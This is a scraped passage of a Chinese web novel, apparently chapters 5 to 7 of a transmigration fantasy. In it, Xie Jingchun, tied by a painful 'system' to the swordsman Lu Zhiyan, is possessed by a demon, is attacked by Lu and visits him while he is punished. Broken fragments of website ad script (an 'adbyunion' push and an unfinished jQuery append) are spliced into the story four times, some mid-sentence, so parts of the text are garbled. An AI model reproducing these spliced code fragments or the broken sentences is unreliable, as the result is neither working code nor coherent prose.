姜眠鹤本就外向,看着谢惊春那总是带着蒙蒙的眼神,心中便不由得多生了一些亲近之心。 她也没管路植晏,兀自拽起惊春的胳膊:“以后你就住我隔壁吧,有 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 时间一定要多找我聊天哈!而且你若是有什么不懂的,随时可以来问我,虽然我也才学了半年多。” 说着,她便推着惊春往后院跑。 “哎哎哎,等等等等——”惊春眼睁睁看着路植晏离自己越来越远,那股子麻劲开始从腿部窜了上来。 【其实宿主,你每日有四个时辰的免疫时间,宿主现在要用吗?】 “那你不早说?当然用,给我调成自动挡,以后只要距离超过五米,不对,超过一百米就给我用!” 算这个狗屁导航系统有点良心。 惊春瞬间将一直以来都落在路植晏身上的视线收回,非常配合地跟着姜眠鹤来到后院。 “你刚来可能不适应,况且以后得训教肯定会非常艰苦,你便休整两天我再安排你进班。” “进班?” “这里有普通班,天才班,火箭班。” “这,这些名字不会都是姜姑娘你取的吧?”没想到,都穿书了,还能感受现实世界的分班制度。 更离谱的是,姜眠鹤才来半年多,这拥有近千年历史的当阳路家,真的听她的话搞了个分班制度就罢了,居然采纳了她的这些班名。 可能这就是女主角通用的说服能力。 姜眠鹤一脸自豪:“当然了!惊春姑娘想进哪个班?” 惊春不假思索:“普通班。” 反正在现实世界她也是个排名中等的小喽啰。 但是,她突然想到了什么:“路二公子在哪个班?” “路植晏啊,他肯定不跟我们一起啊,以前都是路家主亲自教。以他的资质,该学的早都学完了,现在都是靠自悟来提高境界。”姜眠鹤倒了杯热茶递到惊春面前。 惊春赶紧谢着接过,继续问道:“那他平日里都在哪儿学?” 姜眠鹤又递过一个桃花酥,自己也拈起一个,一脸无所谓地吃了起来:“这我还真没注意,我经常看不见他影的。但是我知道他和路知慎不定时会干一架,不知是真想揍扁对方还只是切磋一下。” 这也能理解,姜眠鹤一般和路知慎相处的多,这两兄弟又不亲,姜眠鹤见路植晏的次数当然也相对比较少。 惊春捧着茶,心中却又犯了难,本以为能和路植晏一起修习,没想到他是VIP。 其实这也正常。 天已经暗了下来,天边夕阳如火,在绵延的山峰下,如一道橙红色屏障阻隔了天上人间。 夜晚寒意渗透,惊春刚脱了外衫,便又冷得一哆嗦,连忙穿了上去。 阿爹真是贴心,早早地就把她起居所要用到的东西都差人送了过来。 特别是她的那些衣服饰品之类的,她喜欢的几乎都在。 今日是这一个月以来运动量最大的一天,已经够累的了。 一沾床,谢惊春便呼呼大睡。 “你是谁?”朦朦胧胧中,谢惊春似乎听到什么声音,那声音洪厚沧桑,似乎在哪里听过,但不知是梦还是真实,已经分不清了。 她还在睡着,顺带翻了个身,但下意识呢喃回复:“我是谢惊春啊……” “能帮我杀个人吗?” “你……你要杀谁?” 那声音陷入了迷茫:“我也不知道,让我想想。” 5. 当阳(五) “走走走,我带你熟悉一下当阳。” 谢惊春昨夜睡得并不好,一早起来便觉得头疼难忍,总觉得似乎做了什么巨消耗精神力的事,她揉了揉忪惺的双眼,就被姜眠鹤推着跑了起来。 “整个当阳分前山和后山。前山以居住和训练为主。后山有一束妖窟,里面封印了一只大妖玄阴,听闻此妖为万妖之首,妖法通天,甚至可发动万妖通行。” 玄阴妖,本书的关键线索。 谢惊春想起,应该过不了多久,姜眠鹤便会闯入束妖窟,不小心松动封印,引出了它的一缕心魄。 虽然那缕心魄很快被姜眠鹤镇杀,并且作者至今没解释安排这一情节是为何,但惊春总觉得没那么简单,估计这玩意后期会搅出大事。 “束妖窟只有三正的人在一年一度的封印仪式上才能进,不过家主和路知慎有特权,因为他们两当初是封印的主力。其他人别说进束妖窟了,若是没有家主的令,连进入后山都困难。” 所以姜眠鹤是怎么进去的来着,谢惊春拼命地回想,却发现自己怎么也想不起来。 罢了,应当不重要。反正只要自己不干扰剧情,一切都会按剧情慢慢来的。 “对了,大约再过三个月,普通班三班的人就要毕业了,他们要去太象山参加毕业猎妖大会。” 姜眠鹤顿了顿,捏着下巴想了想:“嗯……我到时候可能也会去,尝试实战一下。” 她一个人叽里呱啦说了一大堆,谢惊春心中想道:你不是可能会去,你是肯定会去。还会有人利用法器创造幻境,还会对你欲行不轨,不过还好路知慎赶到了。 而那个人,整个人就是三正之一的江家公子,江存景,一直暗恋姜眠鹤的男二。 此次路知慎冲冠一怒为红颜,直接重伤江家公子,导致路江两家矛盾升级。路知慎本人也因为闯了祸事,第一次在三正法司受鞭刑。 此次之后,男女主的感情再次升温。 当然这一情节,也让江家成了男主弑父杀母后,最狠厉的声讨者和追杀者。 谢惊春摇了摇头,在心中把这个江存景骂了一顿,说道:“姜姑娘,你最好小心……” 还未等系统提醒,谢惊春就自己噤了声。 不能影响剧情,况且姜姑娘会被路知慎所救的。 “小心什么?”姜眠鹤奇怪地问道。 “太象山虽说都是活捉的妖怪再圈养在此,专门为了让捉妖师实战,但总感觉还是蛮危险的。” 姜眠鹤轻轻一笑,“放心吧,其实我也不是第一次实战了,我跟着路知慎也猎过几次小妖了,虽然不是主力,但是没吃过猪肉,也看过猪跑了嘛。” 【警告,宿主的免疫时间即将超时。】 系统冷不丁的一声提醒,惊春背后的汗毛瞬间一根根倒竖起来。 一天的好心情瞬间被打破,她赶紧问道:“姜姑娘,你知道路二公子现在在何地吗?” 姜眠鹤摇了摇头,一脸不解,但是马上又露出了姨母笑:“惊春姑娘,我发现你好像很关注路植晏啊。” 谢惊春尬笑了一声,没有否认。 “你不会……喜欢他吧?!”姜眠鹤将脸凑近,一幅吃瓜的表情。 谢惊春嗫嚅着,将到嘴边的「怎么可能」收了回去。 而是轻微点了点头,装作一副娇羞的模样:“还望姜姑娘保密。” 因为她突然想到不如破罐子破摔,就说自己喜欢路植晏。像姜眠鹤这么八卦的人,一定会格外关注路植晏的动向,巴不得时刻报告给自己。 太聪明了! 姜眠鹤将眼睛瞪得极圆,嘴巴张得老大,随后狡黠地说了一句,“放心,我懂我懂。不过,他就在……” 【其实宿主,你好像忘记了本系统的功能啊。】 系统的声音总是显得不合时宜。 哈?啊!对哦。系统说过它可以测量她和路植晏之间的距离,并给她当导航。 “谁让你们的设定这么奇怪啊,我只记着痛了。算了,时间马上到了,那你快把我带到路植晏身边吧,等下再向姜姑娘解释一下。” 【原地调头。】 谢惊春匆匆向姜眠鹤告别,赶紧转身来个弹射起步。 只是她转身的瞬间,整个人便如同被一道激光从头顶穿至脚底,身子绷得像根扁担。 【您与角色「路植晏」距离六米,前方直行大约耗时四秒钟。】 眼看着路植晏一脸严肃地走了过来,惊春白皙的脸颊即刻涨红,两个耳孔都快突突突地冒出热气来,连脸上不太明显的雀斑似乎都被蒸得红红的。 “放心吧,你说的声音小,且他是刚刚才走过来的,我拿我的人格担保他绝对没听到。”姜眠鹤拍了拍惊春的肩膀,一脸肯定地说道。 见谢惊春还是维持原姿势像被雷劈了一样,姜眠鹤又小声地在她耳边说:“他耳朵不好,路知慎好几次喊他,他都听不见。” 谢惊春只能说服自己觉得姜眠鹤说的都对,那种尴尬得想找个地缝钻进去的心情才稍稍缓解,便静等着路植晏说话。 “你,是什么时候在这里的?” 路植晏径直走来,他的眉头带着困惑,深潭般的双眸直直地看着谢惊春。 千想万想没想到他会出这么一句话,惊春和姜眠鹤都有些发懵。 姜眠鹤一身娇嫩的黄衣,站在太阳下像个小鸭子,她走到惊春身前,将其护在身后:“快半个时辰了。路植晏,你想说什么?” 谢惊春心虚道:“我还想问路二公子,你是什么时候在这里的呢?” 路植晏没回答她们的问题,叉腰自顾自地点了点头。 “哦。”他抬头看了看天空,并没有再说什么。 两个女生面面相觑,无法理解这一迷惑行为。 【宿主的免疫时间已经结束。】 “等等路植晏。”谢惊春突然跑上前,将手搭在路植晏的肩膀上。 对于突然被喊出的全名,路植晏还有些不习惯,他侧头看向那只手,挑了挑眉:“谢大小姐有何事?” 谢惊春穿着一身桃红柳绿,身上如披春,她抬起头,鬓边发丝轻扬,那双清亮的杏眼如头顶的春日暖阳。 刻着「岁岁平安」的平安锁在她胸前散发银光,衬得整个人神采奕奕。 “我有话和你说。” 看着他们肩并肩走到无错苑,姜眠鹤的嘴巴成了一个「O」形,表情逐渐变态。 无错苑内种了不少红梅,今日又出了个大太阳,梅上雪基本上都化了,在地面的莹莹雪中,显得格外冷艳。 路植晏倚在树上,双手环胸:“谢大小姐说吧,有何事?” 谢惊春非常认真地说 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 道:“路二公子,其实你知道吗?” “知道什么?” “知道这两天我是怎么过的吗?” 沉默。 两人对视良久。 路植晏翻了个白眼,松了抱胸的手。他觉得自己真是疯了,明明见识过她各种莫名其妙的行为后,居然还真以为这个娇滴滴的大小姐要说什么正事。 “其实我被下了一种诅咒,必须和路二公子你……” 【系统警告,宿主不得以任何方式向本书角色泄露系统设定,导致个人信息丢失的后果由宿主自行承担。】 气死了气死了!惊春接下来的所有话都被系统警告匿在肚子里。她真巴不得系统是一个人,甚至是个沙包也行,这样起码能被拎出来让她打几拳。 眼前人画风突变,她刚刚明明还那么认真严肃,怎么突然疯狂跺起地来了?双臂勾成镰刀状,面目狰狞,仿佛在无能狂怒。 她的嘴唇上下翻动,时不时发出“嗤”声,总感觉没憋什么好话。 路植晏发誓,如果他以后再把谢惊春当作正常人。 长吟尽断。 …… “疼疼疼,疼死了算了!!!” 谢惊春连免疫时间都不用了,负气地躺在床上,一动不动,就这么倔强地看着床顶。 【警告,宿主与角色路……】 “滚。” 【与角色「路植晏」距离……】 “滚滚滚——” 谢惊春浑身都已经疼得要命了,怒火一下子窜上来。她感觉脑袋里就像装了一个电锯,又吵又疼。 汗水浸湿了后背,她还是紧紧咬着牙齿一动不动,牙龈都快渗出血来。 她就想看看,什么程度的疼能把自己疼晕过去。 大不了不睡,猝死算了! 回想在现实生活中,被室友吵得经常性失眠,明明困爆了,可还是瞪着双眼睡不着。 当时的心情也是这样。甚至觉得,不如往墙上一撞,睡它个天昏地暗。 蜡烛渐渐熄灭,她对痛觉渐渐麻痹。大约挨到快寅时眼皮子才终于撑不住,战胜痛感合了起来。 只是她觉得自己还没睡一刻钟便被惊醒。 夜风吹着未关的窗户,发出吱呀吱呀的响声。 方才直冲云霄的怨气再次袭来,惊春艰难地下了床。 “救我……” 她准备关上窗户,耳边却一道轻飘飘的声音。想再次确认时,又没了声响。 谢惊春甩了甩头,又看到前方不远处有什么东西在隐隐蠕动。 “杀了我……” 虽然气若游丝,但这次她是真真切切地听到了。 若换做平时,她估计早吓得跳到床上,用棉被裹住自己了。可是此刻她的怨气巨大,便撑着窗对黑洞洞的前方喊道:“谁?” 回应她的只有几声鸟啼。 过了一会儿,“杀了我……” 声音更小了。 惊春疑惑地皱眉,继续问:“杀了你?你是谁?” 草丛中窸窸窣窣,一团黑雾慢慢变大,又在露出头的瞬间往东边跑去。 那声音越来越频繁,特殊的声线仿佛能蛊惑人心。 谢惊春眼神逐渐呆滞,她木讷地回头看了一眼桌上金樽,只顿了三秒,便匆匆套上外衫拿起剑冲了出去。 6. 当阳(六) 碧华隐在已经冒出新叶的枝丫间,朦胧的光照着广袤的天地,枝头三两只乌鸦声音凄厉地叫着,显得这样的夜晚尤为安静。 那团不断涌动着的黑雾正平行于地面,如湿润的长蛇一般灵活地扭动着,前进着,与黑夜融为一体。 在谢惊春夺门而出之时,它快速钻入了她的裙摆。 “杀了他……” 声音变了。 谢惊春突然一僵,接着被操纵似地往东边走去,一步一步如同傀儡。 她停在了一所小院,庭院中种了几棵青竹,几片竹叶落在旁边的水缸中。 望了眼空中圆月,又看向廊下风铎,谢惊春猛然拔剑将廊下风铎挥下。 刚刚归鞘,金樽突然不安起来。 剑被按下,谢惊春直挺挺地站在门口。 她伸手准备推门,黑影从裙角漫了出来。 刚推开一点门缝,第一缕月光霎时照射进来,刚好打在黑雾身上,像是一把利剑,穿透它的身体。 黑雾登时扭曲化形,形成一个不过丸子大小的团团,然而不过须臾,如烟花炸裂。 此物身形迅速扩张,形成有桌面大小的一颗头,那颗头颅除了有一双无瞳惨白的眼睛,和一张同样煞白的嘴唇,再无其他。它快速移开,想避开月光,却因为力道太大,不慎打翻了凳子。 谢惊春刹那恢复了清明,刚跨出一步门槛,就被黑夜里的一声“巨响”吓到。 猛然回头,那颗无面头颅正正凸着那双瘆人的双目,没有瞳孔,只有密密麻麻的红血。 她虽脑海一瞬空白,但也立刻拔剑斩去。 那颗头颅在半空中飘忽不定,上下起伏,蓦然张嘴,仿佛下一秒就能把她整个人撕碎! 倏忽,蓝白电光骤起,如白虹贯日,整个屋子刹那间恍若白昼,长剑直穿无面头颅,剑尖穿过黑雾停在谢惊春鼻前。 剑气凌厉如风,将她一头长发吹起,额间顿感凉意。 过了一会,周遭风停了,动静也停了,只听到火苗哧啦跳跃和长剑归鞘的声音。 谢惊春慢慢睁开眼,正看到路植晏甩起外袍套上,扣上腰带后转过身。 他头发披散着,一笑时,眼下卧蚕如朦红月牙拢起,面若冠华却透着十足的少年英气。一身墨色,领边露出细白中衣,明金暗纹在来不及束腕甲的宽大袖口处熠熠生辉。 “说吧,谢大小姐为何会在此处?” 缓了许久,谢惊春才渐渐收回神识,盯着眼前的蜡烛,双目还噙着被吓出的泪花,说道:“我起来关窗户,便看到一团黑雾一直在说‘杀了我杀了我’,然后我被它操控着来到这儿。” 路植晏靠在桌子上,拿起长吟撑在地上转圈圈,整个人看起来松懒又泠然。 “哦?当真?” 可说完这句话,长吟开始嗡嗡作响,鞘口处冒出蜿蜒的光,伴随着轻微的滋滋之声。 谢惊春伸出三根指头,还起着水雾的眼中覆满庄重:“比真金还真。我发誓,我若有半句谎言,直接死。” 本严肃的路植晏在看到她异常认真的模样时,不禁失笑:“我只是开个玩笑,没想到谢大小姐如此认真。” “锃”地一声,长吟平静。带起来的风让昏黄的烛火摇曳,一直与即将熄灭拉扯着,一滴蜡如泪滑落,嘀嗒在烛台上,烛火回神,烧得更盛。 他垂眸,轻轻将长吟放下,走到门口,做出一个请的姿势:“这妖明日我会上报三正,谢大小姐半夜出现在我院中,对你我二人名声都不太好,所以请回吧。” “多有打扰,望路二公子见谅。还有,多谢。” 谢惊春也不想过多拉扯,说完便要提裙离开。 她拍了拍脑门,让系统等会把免疫特权用上。 路植晏目送她的背影,又抬头看了看廊檐。 瞳孔逐渐向中间收缩,目光冷冽。 【高危预警!宿主……】 系统话还没说完,一道银光乍现,倏然擦过惊春右臂,衣布顷刻裂开,耳畔鬓发被削落。 随后剑光飞入黑夜苍穹,如一瞬烟花,消失不见。 …… !!!!! 她还没完全反应过来,便再次传来系统尖锐的警报声。 一股寒意自后背而来,她回过头去,还没来得及看清,剑影再次袭来。她连忙侧身,眼睁睁看着那凌厉之光从自己的脖颈处擦肩而过。 “长吟!” 长吟即刻回转,路植晏飞身跃进,横向接住剑柄,随后冲向谢惊春。 他速度太快,直到这时,惊春才幡然回神,拔出金樽。掌关节狠凸,背上青筋慢慢浮现。 双剑相抵,互相磋磨,霎时火花灼闪。 金樽虽偏重,在长吟特有的剑鸣之中,根本招架不住。 谢惊春愤怒地喊道:“路植晏,你疯了吗?!” 她快速聚力又将力卸下,自己后退几步,趁着这个间隙,一边疾呼一边疯狂地跑起来。 温凉的空气从各个地方钻进身体,她一口接一口地吸进,耳畔广风叫嚣,肺里像是烧了一整个旷野的火。 长吟疾刺,在她头顶飞驰而过,悬在面前,一下子便阻挡了去路。 谢惊春愕然,整个人定在那儿,握着金樽的手顿时失力。 谢惊春慢慢转过头,“路植晏,你……你想干什么?” 周围传来众多急促的脚步声,当他们看到面前如此场景的时候,皆是一愣。 姜眠鹤不知从地方姗姗来迟,一看是谢惊春,忙大喊道:“路植晏,你在干什么?还不把剑收了!” 其他人不甚疑惑,但都劝路植晏先把剑收了。 路知慎此刻站在人群最后,白衣胜雪。长河霭霭,月色斑驳,半面在明,半面在暗,看不清神色。 这也是惊春第一次看见书中男主路知慎。 「他一身如雪白衣,未缀任何绣饰,唯有滚边处掐出一抹浅黄。一头墨色长发以一根润泽透明的玉簪束起,与之相称的白色发带别在耳后复又被凉风伴着鬓发吹散。 面冠无双容颜,腰间左侧坠有琼琚之佩,右侧垂有,每行一步,便作环佩叮当之音,清脆悦耳。 广袖猎猎,衣袂纷飞。 弘润通长,如玉山上行,笼盖人上。」 这是原著中路知慎初登场时,作者就毫不吝啬地各种描写他的容形。 看见真人,只会觉得文字描写收敛了些。 因为他长得实在是太好看了!还是和路植晏完全不同风格的帅。路植晏傲娇嘴欠欠的,喜欢阴阳怪气,还透着几分幼稚,但他哥哥明显看起来就成熟稳重很多,一看就很可靠。 惊春都在想,如果原著拍成电视剧的话,该找谁来演路知慎。 姜眠鹤寻找着路知慎的身影,马上就看到他,匆忙跑到他身边:“你弟弟哎,你也不管管,他在干嘛?” 说着,家主路思贤和路夫人也跑了过来。 路思贤虽然已逾不惑之年,但依然俊毅年俏。一头仍未斑白的发丝,仅用一根木簪束起。这一点,路知慎与他倒是甚是相像。 如若不是眉眼间带着一丝风霜与成熟的意味,不知者第一眼看起来,定会觉得他们父子三人是手足关系。 不知在看见什么时,他肩头一松,不着痕迹地轻呼了一口气。 而路夫人则是标准的大家闺秀,举手投足间,都是娉娉袅袅,温柔至极。一身蓝色长裙立在路思贤身旁,颇为般配。 “发生何事了?” 路思贤声音中透着十分的严厉,一抬手,竟然直接让长吟归鞘。 而路夫人则拉过谢惊春,询问是否受惊了。 对于路植晏那要命的攻击,谢惊春本就憋着一股气,便演了起来。 “呜呜呜,路夫人,惊春……惊春刚被妖怪操控来到了,路二公子将其镇杀。本以为就此了结,不想二公子却突然出剑,险些要了我的命!” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她一边靠在路夫人肩膀上哭,指着右臂上的破烂处,一边惧怕似地看向被训斥的路植晏。 路夫人膝下无女,再加上惊春那双眼一含泪便比他人更亮,最易让人心软。 于是路夫人一听,便摸着她的头,怒道:“什么?!惊春放心,我们定会向植晏好好询问,为你出气。” 谢惊春点点头,看向路植晏,刚好对上他那怨恨和不屑的眼神,便讪讪缩回了视线。 那边,路植晏根本就没听自己父亲的话,反而自顾自地提剑走了过来,全然不顾身后路思贤的厉喝。 路过谢惊春时,他冷嗤一声,翻了个顶天无敌的大白眼。 路夫人喊住他:“植晏,你得和惊春好好道个歉。” 其实刚刚说完那些,谢惊春就后悔了。 她突然想到,她还不能和路植晏关系弄得太糟,要不然以后接近他岂不是太难了。 这可不妙。 她眼珠子一转,想之他也救了自己,于是在心中说服自己,便连忙拉回路夫人的手,擦了擦眼泪:“不必了,其实只要路二公子和我好生解释一番就行。” 路植晏对于她突然转变的态度,露出了狐疑之色。 他昂首斜睨向谢惊春,月光倾倒在黑色的双眸中,如井中圆缺的玉镜。 “抱歉,谢大小姐,失手让你受惊了。” 他蓦然道歉,语调清扬,那声线中带着明显的嘲讽意味,似乎也并不想解释什么。 说罢,便朝着拘心台的方向走去。 拘心台,素来便是受罚之地,听闻里面多是酷刑,打得血肉模糊的那种,听闻比三正的刑罚还重。 但实际被罚进去的人还是很少,大多是一顿板子,一根手指头,便算作惩罚了事,毕竟这些和传闻中的拘心台相比简直就是奖赏。 路夫人忽而一慌,看向路思贤:“思贤!你……” 路家主神色异常严肃:“阿梓,这件事你不要管,他做错事就该惩罚。” 谢惊春同样震惊,这这这……这不至于吧,这么点事不至于上拘心台。 她刚想向路家主求情说话,说她没事不用这般严厉,但还没开口就被路思贤抬手打住:“惊春也不必管,这是路某教儿子的私事。” 这下她不知如何是好了,在书中确实提及了路家主对路植晏格外的严厉。外人都说是因为一个路知慎太过出色,几乎压过路植晏的所有光芒,所以其父想要二儿子和大儿子一样出色,才会这般激进。 可真的不必这般吧,愧疚感涌上心头。她顿时后悔刚才的控告了,好像这一切都是因为她。 姜眠鹤来的时间虽然已经挺长了,但也是第一次见人被罚进拘心台。 她拽着路知慎的胳膊,“你弟弟要进拘心台,如今怕也只有你能说得上话了,你快去求求情啊……” 兄弟不和,她一直都有心想帮路知慎和自己的弟弟修好,如平凡兄弟一样。而不是见面不识,毫无温情。 路知慎转身,抬脚欲离,却被自己的父亲喊住:“知慎,你带轻山,柏周他们去后山看看。那妖既能操控惊春,恐是有异。” 路知慎没转身,只是半回头,温声应了一声:“是。” 谢惊春一看局势有点不对劲,她扑通一下路家主身前,说道:“路叔叔,这真的不是二公子的错,只是时机恰巧,我也根本没受伤,不必……” 却没想到这次阻拦她的不是路思贤,而是路植晏。 他抬手拦在她面前,“谢大小姐,不必如此。” 姜眠鹤也想求情,却被路知慎喊住,他声音淡漠:“姜眠鹤,同我去后山。” 路植晏冷眼看向那袭白衣,片刻收回视线。拽起谢惊春的手腕,将她一把拉起,并在她险些摔倒时,及时扶住了她。 他转头看向父亲,眼角微红,声音略微颤抖:“孩儿,请父亲降罚。” 谢惊春呆呆地看着他,心头一拧。实在不明白,这,真的有必要吗? 7. 当阳(七) 拘心台。 “你能力不及知慎,也不及他稳重。我本以为你已十七,合该让我省心些,却依旧不知悔改。如若有一日,你能达到知慎的心性与能力,我才心安!届时你就算恨我要来杀我,我也毫无怨言!” 细密的汗珠如雨自鬓边而下,额处浓密的发丝,不知是因为汗还是从身下血池冒出的氤氲之气,而凝结在一起。 路植晏拼命地咬紧牙关,平日里红润的嘴唇此刻没有一丝血色。眉头拧在一起,苍白的面部因为巨大的痛苦而扭曲。 挨过长久的痛苦,而得到短暂的一丝缓解。他闭眼仰头长呼了一口气,短绳的一截雷惊木横贴在锁骨中间,因急促的呼吸跟着胸膛上下起伏。 喉结随着吞咽的动作滚动,他双手紧紧地抓着地面,修长的骨节分明。 路植晏视线于昏黄烛火,却目光焕散。 对于路思贤的话,他几乎从小听到大,早已麻痹。 曾经,他不停地自证,向父亲证明自己也可以和兄长一样。 路知慎一柄万诛天下知,剑法无双。 那他就修双剑。 将命剑修得炉火纯青,人剑合一,已是十分不易,耗神耗力。所以更多人会得一柄命剑便会转头去寻各样法器,用血养之。 但是路植晏为了证明自己,果断提起雷剑长吟,火剑游龙。除了那鲜少的书籍和自悟,没有人能来告诉他,如何练好双剑法。 就在十岁他剑挑众人,惊才绝艳之时,路知慎早已成了可望不可即的世中翘楚。当他十一岁夜战群山,平安归来之时,路知慎已独坐一阵,风光无两。 仿佛不论他付出多少努力,做出多少令人咂舌的事情时,大家并没有觉得多惊叹,只是会觉得,这是你应该的,因为你的兄长,更强。 “嗯,不错。但是这个术法知慎在五岁时便已经自悟了。” “这个没什么好骄傲的。这个招式知慎已经将它改进,弥补了众多缺漏,你不要练这个了,换成这个最新的。” “你兄长的法器是长笛,你也应该选个长笛或箫啊。” “除了三十年前那个消失的谢从因,路知慎应当是千百年来第一天才。” 后来,他再也不会在夜深人静的时候,独自一人继续修习,再也不会期待任何人对他的肯定。 猩红的血池汩汩地冒着热泡,那种浑身灼烧的刺痛再次席卷全身。他陡然一拧,泛着盈光的别妄铃随之摇晃,红绿绳的触感打在肩头,似沙漠里落下一滴甘霖。 路思贤训斥的话没再说出口,他转身,宽大的袖袍带起一阵风,声音硬冷:“七日后再出来。” “什么?还要五日!”谢惊春不禁惊讶出声。 姜眠鹤说起拘心台的惩罚时,都不住地龇牙,说什么隔一个时辰就乱棍狂打一个时辰,不准吃不准喝,昏过去就用水泼醒,再用盐巴撒在伤口处。 听得谢惊春心里一抽一抽的。虽然他们都说,是路二公子的话肯定会活着出来的,毕竟以前他就进去过。 “那我能不能进去看一眼?” “抱歉惊春姑娘,家主有令,不可。” 如今是路植晏受罪,她也要跟着受罪。不仅是精神上的负罪,还身体上的疼痛。 从路植晏上了拘心台,加之这几日她一直在降真阁听理论课,和路植晏的距离太远。甚至破了三公里的大关,降真阁规矩又多不能轻易擅离,逼得她这几日在白天就将免疫特权用完了。 “家主!”突然一群人齐齐低头抱拳。 “惊春不必自责,这是他该受的。” 路思贤轻轻拍了拍谢惊春的肩膀,头上的木簪并不暗沉,反而在皎白月光的照耀下散发出丝丝光亮来。 “路叔叔,二公子真的没有伤到我,他也只是……” 还没等她说完,路思贤摆了摆手,说道:“惊春早些回去睡吧,我是他爹,自有分寸。” 再说下去就不礼貌了,谢惊春点点头:“好,路叔叔,那惊春就先回去了。” 下了阶梯,她站在那儿叹了口气。 【宿主,你现在已经扰乱了剧情。】 “我?!可我没有干扰男女主干任何事。”惊春一惊。 【前几日的那黑妖就是「姜眠鹤」放出的一缕玄阴妖心魄。按照原著中应当是她本人斩杀,可如今却被「路植晏」消灭,并引起了重视。玄阴会被三正重新封印,那么「姜眠鹤」下次进入束妖窟很有可能无法成功,严重影响后续剧情走向。】 “那如果我能保证姜眠鹤下次一定能进束妖窟,是不是就没什么事了?” 【应当。】 烦。 在现实生活中,她就是个平平无奇的小透明,哪怕学得再狠成绩也就那样的吊车尾,怎么可能松动束妖窟的封印? 除非无论是剑法还是其他都突飞猛进,无人企及。 但这不可能。 谢惊春疯狂地抓了抓头发,拼命地回想原著中姜眠鹤到底是怎么不小心闯进去还没被人发现的?! 都怪自己看小说喜欢一目十行。 难道说这玄阴和姜眠鹤有什么关系? 啊啊啊啊为什么要穿进连载中的小说!整个脉络都还没有理清楚。 “下次姜眠鹤进入束妖窟是什么时候?” 【明年年底。】 这里按农历,那也就是说一年半多。 下次姜眠鹤进入束妖窟后,那离路知慎手刃双亲也不远了。 “不对啊,书中和姜眠鹤都说过,这玄阴一年一封。就算没有前几日我的搅动,那在下次姜眠鹤进入束妖窟之前,三正依旧要重新封印,按照剧情姜眠鹤依旧可以进去。” 【……】 【哦,好像有道理。我刚刚还奇怪,惩罚你的指令为什么一直申请不下来。】 …… “你们公司怎么设计出这样的系统?一堆折磨人的设定,我是什么很贱的人吗?” 谢惊春对这个系统着实有着巨大无比的怨气。 【已收到投诉。】 “对,我就要投诉,你再给我记上,我现在就要投诉,你们不觉得非常不合理吗?我为什么要围着一个男人转?不围着他转我就要受疼?你还不如让我去猎妖升级呢!给我一只妖,我现在强得可怕,我的怨气都能把它顶死。” 【很抱歉,系统基础设定无法更改,但猎妖升级建议本系统会移交开发部。另外你我本就是相互成就,并不存在孰高孰贱。】 谢惊春没再说话,只是觉得很累。 没办法,有求于统。 作为一名合格的穿书者,她抱怨了也没用,还是得活着完成「见证结局」的任务。 她转头,向拘心台的后门走去。 “谁……” 路植晏已声如游丝,但依旧强撑着,艰难地从苦涩的嗓间吐出一个字。 面前一片雾蒙蒙的,空气中透着一股黏腻却又清淡的桃花香味,就像是苦涩的药水在舌尖意外地蔓延出一丝甜来。 惊春刚走没几步,氤氲之气就打湿了她的衣袖领口,头发也湿漉漉的,看起来像是大汗淋漓,又像是刚从水里爬出来。 在看清来人后,路植晏沉了沉身体:“是你?你来干什么?你怎么进来的?” 谢惊春忙打了个嘘的手势,一边回头一边蹑手蹑脚地朝着这边走来。 她本以为见到的场面大抵是他被两根铁链子吊起来,皮鞭子抽得满身血痕。 却不曾想,一进来,便看见路植晏光着身子泡在那赤色巨池里。 她本能地一惊,拿袖子遮挡了视线,向后退了几步,面上被热气蒸出一层薄红。 “我就是有些过意不去,过来……过来看看你。” “你怎么进来的?不用,出去!” 路植晏声音本该是蕴藏着少年恣意,此时却似一头受伤弱势却依旧张开獠牙,凶猛喝退人类的兽。 谢惊春撇撇嘴,她也想把 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 自己的痛苦都归咎于路植晏,可是人家并不知情,还救了她几次,况且这次上拘心台和她有关,她便无论如何都没办法说服自己赌气。 她撩起略微被打湿的裙摆,走到屏风后面去了。 路植晏的衣物还搭在上面,刚好将影子遮住。 “也没什么。就是觉得咱们好歹算个同龄人,觉得你被罚进拘心台是因为我,所以多少有些过意不去罢了。”谢惊春无所谓地答道。 有这方面的原因,但她更多的是想不能让路植晏怨恨自己。 路植晏没说话,空气中安静得只闻呼吸声。 半晌,略微沙哑的声音响起:“长岁铃被你毁了。” 她脖子猛地一升,想起他檐下的一个风铎好像确实是被自己砍了。 “对不起。”谢惊春真诚地道歉,但又接着说道:“但是我是被那黑妖操控了。所以你当时是因为这个想伤我?” 路植晏沉默了一会,才几乎一字一顿地说:“长岁铃,很重要。” 他低着头,声音很轻。 谢惊春愣了一下,暗道不妙。 她沉吟半晌,刚准备说些什么,路植晏便说道:“不用想了,长岁铃无可替代更无法修复。罢了,也不是你本意。那日鲁莽出手,还请谢大小姐原谅。” 面对突如其来的善解人意和诚恳的道歉,谢惊春有些无措。 “没什么没什么,我也并没有受伤……” 【恭喜宿主等级提升为测试者LV1】 然而就在这时,突然的声音差点让她一口噎死。 “什么什么,你这个还有等级设定呢?为什么一开始没有和我说?” 【系统正在完善阶段,结合诸多方面考虑以及宿主的投诉建议等,部门决定增加等级设定。】 “那那那,那好处是什么,等级越高会得到什么东西?” 【绝对安全距离和绝对无痛距离会增加,目前宿主与角色「路植晏」的绝对安全距离为10公里,绝对无痛距离为0.5公里。】 听起来非常不错,“增加1等级就会让绝对安全距离增加5公里,让绝对无痛距离增加0.5公里?” 【是的。原有绝对无痛距离已忽略不计。】 这还差不多。 既然如此,“那怎样能快速提升等级?” 【方法一:每走完二十章的剧情宿主等级会自动加1,目前宿主位于第三十七章与三十八章之间的时间段。 方法二:宿主也可通过猎妖主动提高自身等级,所猎妖兽越大等级提升越高。 另外:系统已增加疯狂月中的设定,每逢14.15.16,系统会暂时解绑。】 系统说了一圈,谢惊春却立马提取出「月中」「解绑」的字眼。 她突然想起:“那今天是不是十五?” 系统机械地回答道:【是。】 “那你是不是该和我解绑了?” 【是。】 